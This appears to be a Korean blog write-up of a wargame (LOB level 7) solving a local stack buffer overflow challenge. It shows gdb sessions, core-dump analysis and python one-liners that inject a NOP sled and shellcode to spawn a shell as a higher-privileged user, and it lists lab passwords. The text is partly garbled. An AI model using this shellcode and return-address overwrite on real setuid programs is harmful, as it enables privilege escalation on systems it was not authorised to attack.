반응형
LOB Level 7.
pw = 'Kernel crashed'
일단 그 전 문제랑 거의 비슷.
달라지는 건 argv[0]의 길이가 77이 아닐 때 종료한다는 것이다.
[darkelf@localhost /tmp]$ gdb 'python -c 'print "."+"/"*67+"orge"''iif(strlen(argv[0]!=77){}
End of assembler dump. (gdb) b * main +302 Breakpoint 1 ast 0x804862e (gdb) r 'python -c 'print "A"*44+"\xbf"*4'' 'python -c 'print "\x90"*148'' Starting program: /tmp/ .//////////////////////////////////////////////////////////////////////////////orge 'python -c 'print "A"*44+"\xbf"*4'' 'python -c 'print "\x90"*148'' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA일단 권한 문제이기 떄문에 ./tmp 폴더로 복사. 이상하다는 걸 알 수 있다. 즉 argv[0], argv[1], argv[2] 77개. buf[40]+SFP[4]+RET[4] "NOP + 쉘 코드" 즉 argv[2]에 넣는다고 하고.
'python -c 'print "."+"/"*72+"orge"'' 'python -c 'print "A"*44+"\x60\xfb\xff\xbf"'' 'python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`스택에 적재되어 있는 실제 주소를 알기 위해 core dump를 써야 한다. ./tmp 폴더에서 segmentation fault가 발생하면 core dump가 발생 =>$gdb -c core 사용.
[darkelf@localhost /tmp]$ 'python -c 'print "."+"/"*72+"orge"'' 'python -c 'print "\xbf"*48'' 'python -c 'print "\x90"*148'' Segmentation fault (core dumped)
(gdb) x/100x $esp
NOP(\x90)이 들어갔다.
argv[2]가 있는 주소를 알 수 있다.
[darkelf@localhost /tmp]$ 'python -c 'print "."+"/"*72+"orge"'' 'python -c 'print "A"*44+"\x4\xfb\xff\xbf"'' 'python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL bash$ ls cobolt core darkelf goblin gremlin orc orge wolfman bash$ id uid=506(darkelf) gid=506(darkelf) groups=506(darkelf) bash$ my-pass euid = 507 timewalker bash$
CF) 계속 문제 형태가 비슷한 걸 보니, 계속 review를 해야겠다.
반응형
'# Related site issues > LOB' 카테고리의 다른 글
LOB Level 9. (0) | 2018.03.28 |
---|---|
LOB Level 8. (0) | 2018.03.28 |
LOB Level 6. (0) | 2018.03.28 |
LOB Level 5. (0) | 2018.03.28 |
LOB Level 4. (0) | 2018.03.27 |